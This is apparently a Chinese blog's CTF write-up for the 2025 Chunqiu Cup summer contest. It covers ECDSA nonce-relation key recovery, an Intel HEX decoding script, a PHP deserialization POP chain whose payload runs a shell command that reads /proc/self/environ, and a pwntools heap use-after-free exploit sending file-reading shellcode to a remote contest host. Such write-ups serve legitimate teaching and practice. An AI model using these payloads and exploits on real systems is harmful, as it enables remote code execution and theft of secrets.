TypechoJoeTheme

霍雅的博客

登录
用户名
密码
/
注册
用户名
邮箱

2025春秋杯夏季赛 huoya wp

2025-07-14
/
0 评论
/
80 阅读
/
正在检测是否收录...
07/14

crypto

eccccc

  1. 漏洞利用​​:ECDSA中临时密钥k的更新规则为二次函数:
    knext​=(7k2+3k+11)modn
    这使我们可以建立二次方程求解私钥d。
  2. ​正确求解​​:

    • 第一个签名:k=a1​+b1​dmodn
    • 第二个签名:knext​=a2​+b2​dmodn
    • 代入关系:a2​+b2​d=7(a1​+b1​d)2+3(a1​+b1​d)+11modn
    • 展开后得到关于d的二次方程,正确求解即可
  3. ​填充处理​​:解密后使用unpad()正确处理PKCS#7填充,并验证flag格式。

    from hashlib import sha256
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import unpad
    from sage.all import *
    import binascii
    
    # ======== 参数设置 ========
    # 椭圆曲线阶 n (secp256k1标准)
    n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
    
    # 签名数据
    m1 = b'32748923ur8934u893ygf893h34t3453453'
    m2 = b'ehfw9h8r039u82678ifjewf9024r2323423'
    r1 = 18507930132802310344248699822628576170242868593944128167302942018134209256936
    s1 = 23965013559564325260453725916491832279556345092147805659950905735422363429946
    r2 = 61645219796227967861807301237829197706412124807702206247291322591426944615554
    s2 = 84283844402102709520391794221564573160907887711307574424747605446691209453247
    
    # 密文 (转换为十六进制字符串)
    ciphertext_hex = "a713d56a102ac904da8baa66deaedcdbb754cd8bc94bf4b45e708a641b53ef92af03e9c20c8c8383f9c6c709f99c709d"
    ciphertext = binascii.unhexlify(ciphertext_hex)
    
    # ======== 计算消息哈希 ========
    h1 = int(sha256(m1).hexdigest(), 16)
    h2 = int(sha256(m2).hexdigest(), 16)
    print(f"h1 = {h1}\nh2 = {h2}\n")
    
    # ======== 计算辅助变量 ========
    t1 = pow(s1, -1, n)
    t2 = pow(s2, -1, n)
    
    a1 = (t1 * h1) % n
    b1 = (t1 * r1) % n
    a2 = (t2 * h2) % n
    b2 = (t2 * r2) % n
    print(f"a1 = {a1}\nb1 = {b1}\na2 = {a2}\nb2 = {b2}\n")
    
    # ======== 构建二次方程系数 ========
    A_val = (7 * b1 * b1) % n
    B_val = (14 * a1 * b1 + 3 * b1 - b2) % n
    C_val = (7 * a1 * a1 + 3 * a1 + 11 - a2) % n
    print(f"A = {A_val}\nB = {B_val}\nC = {C_val}\n")
    
    # ======== 计算判别式 ========
    delta = (B_val * B_val - 4 * A_val * C_val) % n
    print(f"判别式 delta = {delta}")
    print(f"Legendre 符号: {kronecker(delta, n)} (1 表示是二次剩余)\n")
    
    # ======== 解二次方程 ========
    if kronecker(delta, n) == 1:
     # 在有限域中计算平方根
     R = Mod(delta, n).sqrt()
     inv_2A = pow(2 * A_val, -1, n)
     
     d1 = ((-B_val + R) * inv_2A) % n
     d2 = ((-B_val - R) * inv_2A) % n
     
     candidates = [d1, d2]
     print(f"候选私钥 1: {d1}")
     print(f"候选私钥 2: {d2}\n")
     
     # ======== 尝试解密 ========
     for d in candidates:
         # 生成AES密钥
         key = sha256(str(d).encode()).digest()
         
         # AES解密
         cipher = AES.new(key, AES.MODE_ECB)
         decrypted = cipher.decrypt(ciphertext)
         
         # 打印解密结果用于调试
         hex_str = decrypted.hex()
         printable = ''.join([c if 32 <= ord(c) < 127 else '.' for c in decrypted.decode('latin1', 'ignore')])
         print(f"使用 d={d} 解密结果 (十六进制): {hex_str}")
         print(f"可打印字符: {printable}")
         
         try:
             # 去除填充并验证flag格式
             flag = unpad(decrypted, 16)
             if flag.startswith(b'flag{') and flag.endswith(b'}'):
                 print("\n" + "="*50)
                 print(f"成功! 私钥 d = {d}")
                 print(f"Flag: {flag.decode()}")
                 print("="*50)
                 break
         except Exception as e:
             print(f"填充错误: {e}\n")
             continue
     else:
         print("两个候选私钥均未解密出正确的flag格式")
    else:
     print("判别式不是模n的二次剩余")

    d=65886643197056977931599838665910355634151555255637338202057837205754054794143

    misc

    e_misc

    题目提示stm
    先爆压缩包密码

让ai写个hex转asm的脚本

import os  
  
def parse_intel_hex_to_bin(hex_string, output_filename="output.bin"):  
    """  
    将 Intel HEX 字符串解析并保存为二进制文件。  
    :param hex_string: Intel HEX 格式的多行字符串  
    :param output_filename: 保存的二进制文件名(相对路径)  
    :return: 输出文件路径  
    """    from binascii import unhexlify  
  
    memory = {}  
    lines = hex_string.strip().splitlines()  
    base_address = 0  
  
    for line in lines:  
        if not line.startswith(":"):  
            continue  
  
        byte_count = int(line[1:3], 16)  
        address = int(line[3:7], 16)  
        record_type = int(line[7:9], 16)  
        data = line[9:9 + byte_count * 2]  
  
        if record_type == 0x00:  # 数据记录  
            for i in range(byte_count):  
                memory[base_address + address + i] = int(data[i * 2:i * 2 + 2], 16)  
        elif record_type == 0x02:  # 扩展段地址记录  
            base_address = int(data, 16) << 4  
        elif record_type == 0x01:  # 文件结束  
            break  
  
    if not memory:  
        raise ValueError("没有解析到任何数据,请检查 HEX 格式。")  
  
    # 生成 BIN 数据  
    start_addr = min(memory.keys())  
    end_addr = max(memory.keys()) + 1  
    bin_data = bytes(memory.get(addr, 0xFF) for addr in range(start_addr, end_addr))  
  
    # 保存到当前脚本目录  
    script_dir = os.path.dirname(os.path.abspath(__file__))  
    bin_path = os.path.join(script_dir, output_filename)  
    with open(bin_path, "wb") as f:  
        f.write(bin_data)  
  
    return bin_path  
  
if __name__ == "__main__":  
    # 在这里粘贴你的 HEX 数据  
    hex_data = """:030000000208896A  
:0C088900787FE4F6D8FD758109020800B4  
:100878004335315F31735F566572795F456133790E  
:01088800006F  
:0B0839008F807F057E00120844D2B2C1  
:10084400E4FDFCC3ED9FEC9E5015E4FBFA0BBB00EA  
:0F085400010AEB647B4A70F50DBD00010C80E4D6  
:010863002272  
:0A089500C2B2C2B1120839C2B22289  
:0A089F00C2B2D2B1120839C2B2226F  
:100864007F381208957F0C1208957F061208957F31  
:0408740001020895E0  
:100800001208647FC0120895E4F508F5097478258C  
:1008100009F58274083508F583E493FF12089F7F79  
:10082000057E001208440509E50970020508C39415  
:0908300010E508940040D680FE9A  
:00000001FF"""  
  
    output_path = parse_intel_hex_to_bin(hex_data)  
    print(f"二进制文件已生成:{output_path}")

010打开发现可见字符

加上flag即为flag{C51_1s_Very_Ea3y}

web

ez_pop

源码一步到位到class_B, Class_C __destruct 调用了echo,能触发Class_A __toString,Class_A 调用了 $this->s->$p 直到class_B。

接着就是下面的throw 抛错的问题,网上有绕过教程,是利用array(obj,null) 序列化的对象,把数组null的i:1 改成i:0 即可绕throw方法。

<?php  
  
error_reporting(0);  
highlight_file(__FILE__);  
  
class class_A  
{  
    public $s;  
    public $a;  
  
    public function __toString()  
    {  
        echo "2 A <br>";  
        $p = $this->a;  
        return $this->s->$p;  
    }  
}  
  
class class_B  
{  
    public $c;  
    public $d;  
  
    function is_method($input)  
    {  
        if (strpos($input, '::') === false) {  
            return false;  
        }  
  
        [$class, $method] = explode('::', $input, 2);  
  
        if (!class_exists($class, false)) {  
            return false;  
        }  
  
        if (!method_exists($class, $method)) {  
            return false;  
        }  
  
        try {  
            $refMethod = new ReflectionMethod($class, $method);  
            return $refMethod->isInternal();  
        } catch (ReflectionException $e) {  
            return false;  
        }  
    }  
  
    function is_class($input)  
    {  
        if (strpos($input, '::') !== false) {  
            return $this->is_method($input);  
        }  
  
        if (!class_exists($input, false)) {  
            return false;  
        }  
  
        try {  
            return (new ReflectionClass($input))->isInternal();  
        } catch (ReflectionException $e) {  
            return false;  
        }  
    }  
  
    public function __get($name)  
    {  
        echo "2 B <br>";  
  
        $a = $_POST['a'];  
        $b = $_POST;  
        $c = $this->c;  
        $d = $this->d;  
        if (isset($b['a'])) {  
            unset($b['a']);  
        }  
        if ($this->is_class($a)) {  
            echo 'inin';  
            call_user_func($a, $b)($c)($d);  
        } else {  
            die("你真该请教一下oSthinggg哥哥了");  
        }  
    }  
}  
  
class class_C  
{  
    public $c;  
  
    public function __destruct()  
    {  
        echo "2 C <br>";  
        echo $this->c;  
    }  
}  

从官网上找了一个有意思的东西

Closure::fromCallable  
(PHP 7 >= 7.1.0)  
  
Closure::fromCallable — 将可调用对象转换为闭包  
  
描述 ¶  
public static Closure::fromCallable(callable $callback):闭包  
使用当前作用域从给定的回调中创建并返回一个新的匿名函数。此方法检查回调在当前范围内是否可调用,如果不可调用,则抛出 TypeError。  
  
注意:  
  
从 PHP 8.1.0 开始,First class callable syntax 与此方法具有相同的语义。

这个代码可以直接返回一个system函数对象,能返回他的闭包对象。
同时这个方法名称是Closure::fromCallable 即绕过is_class的::和is_method的判断

接着就是他$b传递的是post,但是不用在意a,因为unset了,$post数组可以按照php数组格式去写,得到的效果和[a,b]是一样的。

<?php  
  
  
$cl1 = Closure::fromCallable("system");  
var_dump($cl1);

所以payload:

get传递`?un=a:2:{i:0;O:7:"class_C":1:{s:1:"c";O:7:"class_A":2:{s:1:"s";O:7:"class_B":2:{s:1:"c";s:6:"system";s:1:"d";s:34:"cat /proc/self/environ > huoya.txt";}s:1:"a";s:3:"asd";}}i:0;N;}
`

post 传递:0=Closure&1=fromCallable&a=Closure%3A%3AfromCallable即可得到flag

reverse

pypy

审计代码发现需要
python3.8.0和Windows环境下运行
然后还有反调试之类的东西
还要确定环境一样,才能得出一样的flag

所以考虑附加调试
第一个想到的就是ce
先用3.8版本的python跑起来

搜索flag字符串,然后拉下来改长度

pwn

ezheap

没有去除符号表的菜单题,开了沙箱,第二个函数会打印函数指针


del函数有uaf漏洞

有一个check函数,里面是一个验证机制,通过则有gift函数


验证通过给一个可以执行shellcode的函数

那么申请堆块使得buff的指针内容和deadbeef相同,验证绕过后正常的orw都可以打

exp:

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

# conn = process('./ezheap')
conn = remote('47.94.196.80', 26674)
binfile = ELF('./ezheap')


send_raw     = lambda x          : conn.send(x)
send_after   = lambda a, b       : conn.sendafter(a, b)
send_line    = lambda x          : conn.sendline(x)
send_line_af = lambda a, b       : conn.sendlineafter(a, b)
recv_n       = lambda n          : conn.recv(n)
recv_u       = lambda x          : conn.recvuntil(x)
go_interact  = lambda            : conn.interactive()
get_u32      = lambda d          : u32(d.ljust(4, b'\x00'))
get_u64      = lambda d          : u64(d.ljust(8, b'\x00'))
hex2int      = lambda d          : int(d, 16)
log_val      = lambda k, v       : log.success(f'{k} = {v:#x}')
log_addr     = lambda tag, val   : log.success(f'{tag}: {hex(val)}')
attach_dbg   = lambda            : gdb.attach(conn)


def leak_base():
    send_after('ur name:\n', '/bin/sh\n')
    send_after('input passwd:\n', '/flag\0')
    recv_u('anybody u want:-)\n')
    return hex2int(recv_n(14)) - 0x202040


def chunk_create(index, length, data):
    send_line_af('5.exit\n', '1')
    send_line_af('which message do u want to send:\n', str(index))
    send_line_af('how much to use:\n', str(length))
    send_after('plz input message:', data)


def chunk_delete(index):
    send_line_af('5.exit\n', '2')
    send_line_af('which message to delet:\n', str(index))


def chunk_edit(index, content):
    send_line_af('5.exit\n', '3')
    send_line_af('which message to edit:\n', str(index))
    send_after('plz input message:\n', content)


def chunk_show(index):
    send_line_af('5.exit\n', '4')
    send_line_af('which message to show:\n', str(index))

def exploit(payload):
    send_line_af('5.exit\n', '123')
    send_after('what say to me?\n', payload)


base_addr = leak_base()
log_addr('base_addr', base_addr)

addr_flag = base_addr + 0x202040
addr_buf  = base_addr + 0x202048

chunk_create(0, 0x18, b'a'*8)
chunk_create(1, 0x18, b'a'*8)
chunk_delete(1)
chunk_delete(0)
chunk_edit(0, p64(addr_buf))
chunk_create(2, 0x18, b'b'*8)
chunk_create(3, 0x18, b'deadbeef')

payload = asm(f'''
mov rdi, -100
mov rsi, {addr_flag}
xor rdx, rdx
xor r10, r10
mov eax, 0x101
syscall

push 1
pop rdi
mov rsi, rax
xor rdx, rdx
mov r10, 0x100
push 40
pop rax
syscall
''')


exploit(payload)
go_interact()
朗读
赞(2)
版权属于:

霍雅的博客

本文链接:

https://6666345.xyz/bk/index.php/archives/532/(转载时请注明本文出处及文章链接)

评论 (0)

人生倒计时

今日已经过去小时
这周已经过去
本月已经过去
今年已经过去个月